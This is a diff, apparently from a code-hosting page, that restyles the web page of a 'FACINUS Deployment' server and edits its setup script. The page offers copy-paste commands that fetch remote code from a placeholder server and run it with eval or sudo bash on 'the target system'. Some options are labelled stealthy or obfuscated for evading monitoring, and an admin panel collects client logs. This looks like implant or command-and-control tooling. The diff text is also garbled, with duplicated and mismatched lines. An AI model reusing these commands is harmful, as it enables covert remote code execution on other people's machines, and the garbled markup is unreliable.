.container { max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||
.header { background: #333; color: white; padding: 10px; }
|
||||
.header h1 { margin: 0; }
|
||||
.card { border: 1px solid #ddd; border-radius: 5px; padding: 20px; margin-bottom: 20px; }
|
||||
.command { background: #f8f8f8; padding: 15px; border: 1px solid #ddd; font-family: monospace; margin: 15px 0; position: relative; }
|
||||
.copy-btn { position: absolute; right: 10px; top: 10px; background: #007bff; color: white; border: none; padding: 5px 10px; cursor: pointer; }
|
||||
.options { margin-top: 20px; }
|
||||
.option-box { border: 1px solid #ddd; padding: 10px; margin-bottom: 10px; border-radius: 5px; }
|
||||
.option-title { font-weight: bold; margin-bottom: 5px; }
|
||||
:root {
|
||||
--primary: #3498db;
|
||||
--primary-dark: #2980b9;
|
||||
--accent: #e74c3c;
|
||||
--accent-dark: #c0392b;
|
||||
--text: #2c3e50;
|
||||
--text-light: #7f8c8d;
|
||||
--bg: #f5f7fa;
|
||||
--card-bg: #ffffff;
|
||||
--border: #e0e6ed;
|
||||
--success: #2ecc71;
|
||||
--command-bg: #f1f5f9;
|
||||
}
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, Oxygen, Ubuntu, sans-serif;
|
||||
color: var(--text);
|
||||
background-color: var(--bg);
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 1000px;
|
||||
margin: 0 auto;
|
||||
padding: 0 20px;
|
||||
}
|
||||
|
||||
.header {
|
||||
background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%);
|
||||
color: white;
|
||||
padding: 20px 0;
|
||||
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
font-weight: 600;
|
||||
font-size: 28px;
|
||||
margin: 0;
|
||||
letter-spacing: 0.5px;
|
||||
}
|
||||
|
||||
.header p {
|
||||
opacity: 0.9;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
.card {
|
||||
background: var(--card-bg);
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 15px rgba(0, 0, 0, 0.05);
|
||||
padding: 25px;
|
||||
margin-bottom: 30px;
|
||||
border: 1px solid var(--border);
|
||||
transition: transform 0.2s ease, box-shadow 0.2s ease;
|
||||
}
|
||||
|
||||
.card:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 20px rgba(0, 0, 0, 0.08);
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 22px;
|
||||
font-weight: 600;
|
||||
color: var(--text);
|
||||
margin-bottom: 15px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
h2 i {
|
||||
margin-right: 12px;
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
p {
|
||||
margin-bottom: 15px;
|
||||
color: var(--text-light);
|
||||
}
|
||||
|
||||
.command {
|
||||
background: var(--command-bg);
|
||||
border-radius: 6px;
|
||||
padding: 18px;
|
||||
font-family: 'Courier New', monospace;
|
||||
margin: 20px 0;
|
||||
position: relative;
|
||||
border: 1px solid var(--border);
|
||||
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05);
|
||||
overflow-x: auto;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.copy-btn {
|
||||
position: absolute;
|
||||
right: 10px;
|
||||
top: 10px;
|
||||
background: var(--primary);
|
||||
color: white;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
padding: 6px 12px;
|
||||
cursor: pointer;
|
||||
font-size: 14px;
|
||||
transition: background 0.2s ease;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.copy-btn i {
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.copy-btn:hover {
|
||||
background: var(--primary-dark);
|
||||
}
|
||||
|
||||
.options {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
.option-box {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 20px;
|
||||
transition: all 0.2s ease;
|
||||
background: var(--card-bg);
|
||||
}
|
||||
|
||||
.option-box:hover {
|
||||
border-color: var(--primary);
|
||||
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
|
||||
}
|
||||
|
||||
.option-title {
|
||||
font-weight: 600;
|
||||
margin-bottom: 10px;
|
||||
color: var(--text);
|
||||
font-size: 17px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.option-title i {
|
||||
margin-right: 8px;
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.admin-link {
|
||||
display: inline-block;
|
||||
background: var(--primary);
|
||||
color: white;
|
||||
padding: 12px 24px;
|
||||
text-decoration: none;
|
||||
border-radius: 6px;
|
||||
font-weight: 500;
|
||||
margin-top: 10px;
|
||||
transition: background 0.2s ease;
|
||||
}
|
||||
|
||||
.admin-link:hover {
|
||||
background: var(--primary-dark);
|
||||
}
|
||||
|
||||
.note {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
background: rgba(52, 152, 219, 0.1);
|
||||
padding: 12px 15px;
|
||||
border-radius: 6px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
.note i {
|
||||
color: var(--primary);
|
||||
margin-right: 10px;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.options {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
font-size: 24px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="header">
|
||||
<div class="container">
|
||||
<h1>FACINUS Deployment</h1>
|
||||
<h1><i class="fas fa-server"></i> FACINUS Deployment</h1>
|
||||
<p>Secure client deployment system</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<div class="card">
|
||||
<h2>Quick Setup</h2>
|
||||
<h2><i class="fas fa-bolt"></i> Quick Setup</h2>
|
||||
<p>Copy and paste this command into a terminal on the target system:</p>
|
||||
|
||||
<div class="command" id="cmd1">
|
||||
eval "$(curl -fsSL http://SERVER_IP/deployment/y)"
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd1')">Copy</button>
|
||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd1')">
|
||||
<i class="fas fa-copy"></i> Copy
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<p><strong>Note:</strong> This will install with default settings and requires root access.</p>
|
||||
<div class="note">
|
||||
<i class="fas fa-info-circle"></i>
|
||||
<span><strong>Note:</strong> This will install with default settings and requires root access.</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>Installation Options</h2>
|
||||
<h2><i class="fas fa-cogs"></i> Installation Options</h2>
|
||||
|
||||
<div class="options">
|
||||
<div class="option-box">
|
||||
<div class="option-title">Minimal Installation (No Root Required)</div>
|
||||
<div class="option-title"><i class="fas fa-feather"></i> Minimal Installation</div>
|
||||
<p>For limited access without requiring root privileges:</p>
|
||||
<div class="command" id="cmd2">
|
||||
curl -fsSL http://SERVER_IP/deployment/minimal | bash
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd2')">Copy</button>
|
||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd2')">
|
||||
<i class="fas fa-copy"></i> Copy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="option-box">
|
||||
<div class="option-title">Full Installation</div>
|
||||
<div class="option-title"><i class="fas fa-box-open"></i> Full Installation</div>
|
||||
<p>Complete installation with all features:</p>
|
||||
<div class="command" id="cmd3">
|
||||
curl -fsSL http://SERVER_IP/deployment/full | sudo bash
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd3')">Copy</button>
|
||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd3')">
|
||||
<i class="fas fa-copy"></i> Copy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="option-box">
|
||||
<div class="option-title">Quiet Mode</div>
|
||||
<div class="option-title"><i class="fas fa-volume-mute"></i> Quiet Mode</div>
|
||||
<p>Minimal output for stealthy installation:</p>
|
||||
<div class="command" id="cmd4">
|
||||
curl -fsSL http://SERVER_IP/deployment/quiet | sudo bash
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd4')">Copy</button>
|
||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||
|
||||
<i class="fas fa-copy"></i> Copy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="option-box">
|
||||
<div class="option-title">Obfuscated Installation</div>
|
||||
<div class="option-title"><i class="fas fa-user-secret"></i> Obfuscated Installation</div>
|
||||
<p>For environments with stricter monitoring:</p>
|
||||
<div class="command" id="cmd5">
|
||||
eval "$(curl -fsSL http://SERVER_IP/deployment/x)"
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd5')">Copy</button>
|
||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||
<button class="copy-btn" onclick="copyToClipboard('cmd5')">
|
||||
<i class="fas fa-copy"></i> Copy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>Admin Access</h2>
|
||||
<h2><i class="fas fa-user-shield"></i> Admin Access</h2>
|
||||
<p>Access the admin panel for logs and client information:</p>
|
||||
<p><a href="admin.php">Admin Panel</a></p>
|
||||
<a href="admin.php" class="admin-link"><i class="fas fa-sign-in-alt"></i> Admin Panel</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -93,10 +295,10 @@
|
||||
|
||||
navigator.clipboard.writeText(text).then(function() {
|
||||
const btn = el.querySelector('.copy-btn');
|
||||
const originalText = btn.innerText;
|
||||
btn.innerText = 'Copied!';
|
||||
const originalIcon = btn.innerHTML;
|
||||
btn.innerHTML = '<i class="fas fa-check"></i> Copied!';
|
||||
setTimeout(() => {
|
||||
btn.innerText = originalText;
|
||||
btn.innerHTML = originalIcon;
|
||||
}, 2000);
|
||||
});
|
||||
}
|
||||
|
@@ -61,6 +61,10 @@ copy_web_files() {
|
||||
# Update configurations in files
|
||||
sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php"
|
||||
sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php"
|
||||
|
||||
# Update Server IP in the HTML files
|
||||
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/index.html"
|
||||
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/admin.php"
|
||||
|
||||
# Set proper permissions
|
||||
sudo chmod 640 "$SERVER_ROOT/admin.php"
|
||||
|
Reference in New Issue
Block a user